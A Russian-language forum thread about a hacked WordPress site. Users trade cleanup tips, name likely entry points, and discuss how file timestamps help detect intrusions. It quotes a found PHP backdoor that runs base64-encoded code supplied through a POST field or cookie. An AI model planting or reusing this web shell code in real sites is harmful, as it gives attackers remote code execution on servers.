Хакнули сайт на wordpress.

скачай файл на комп, вычисти дрянь или залей поверх дистрибутив с офсайта чтобы не вычищать, поменяй пароли фтп.

Можно по датам глянуть и руками вычистить.

Если сайт один на акке - убей сайт, сохранив themes и images и тщательно их проверив, поменяй пароли по ftp, заново залей и настрой. Это 15 минут времени.

судя по коду:

$r     =     's';; ;     if   (   isset(   $_COOKIE['dwc'])   )   {   echo     '<cwd>'  .    getcwd()   .    '</cwd>';;      }   if    (  isset  (    $_POST['p3b2']  )  )     {     eval    (     base64_decode     (   $_POST['p3b2']    )   );;    return;; ; ;     }  if     (  isset(    $_COOKIE['p3b2'])   )   {  eval    (  base64_decode  (   $_COOKIE['p3b2']    )     );;    return;; ; ;      } 

очень похоже что это действительно тест: похоже на то что файл залить удалось, но дирректорию хакеры не знали (путь)

по поводу взлома- (если исключить вирус) , то можно предположить что это либо плагин, или еще одно слабое место вордпресса файл Timthumb.php (обновите его - в инете посмотрите уязвимость данного файла и уязвима ли ваша версия)

Спасибо всем за ответы. Минимальные меры знаю.

Уже восстановил из бекапов, в бекапах тоже был вирус вычистил уже.

Кто-нибудь может сказать что делает этот код?

он делает все 🍿

Если уже в бэкапе был вирус, вам нужно проверять код вашего сайта на предмет проникновения, думается, что проблема не решится простым восстановлением из бэкапа.

Кен тач ми тралала..

P.s. для особо "умных", пытающихся мне праздничное настроение подпортить, поясню - http://ru.wikipedia.org/wiki/Touch

А что же touch ? Злоумышленники не всегда обнуляют дату модификации всех файлов. Я бы даже сказал совсем редко обнуляют. Скорее это вебмастеры в спешке перезаливают файлы по ftp уничтожая информацию о дате модификации.

Я тут посмотрел, несмотря на то что touch таки меняет дату модификации файла, в ls -lc все равно можно вывести актуальную дату.

Тем не менее, ряд решений типа lmd полагается на команду find -mtime. А надо использовать find -ctime. Печальная история.

Сейчас посмотрел - в git в новой версии lmd уже нормальное сканирование новых файлов, но эта версия еще не выпущена. Чувак ДВА ГОДА выпускает антивирус и не мог догадаться ? Маладца.

Злоумышленник разного калибра бывает, опытный в 90% случаев юзает тач, а салаги бывает и форму загрузки файла с index.php не убирают. 😂 Что касается lmd wtf? Антивирус для линукс? Я этого не понимаю, честно. Для меня это равносильно советам "скачать файлы на комп и просканировать касперским" от кидиссов только спасет.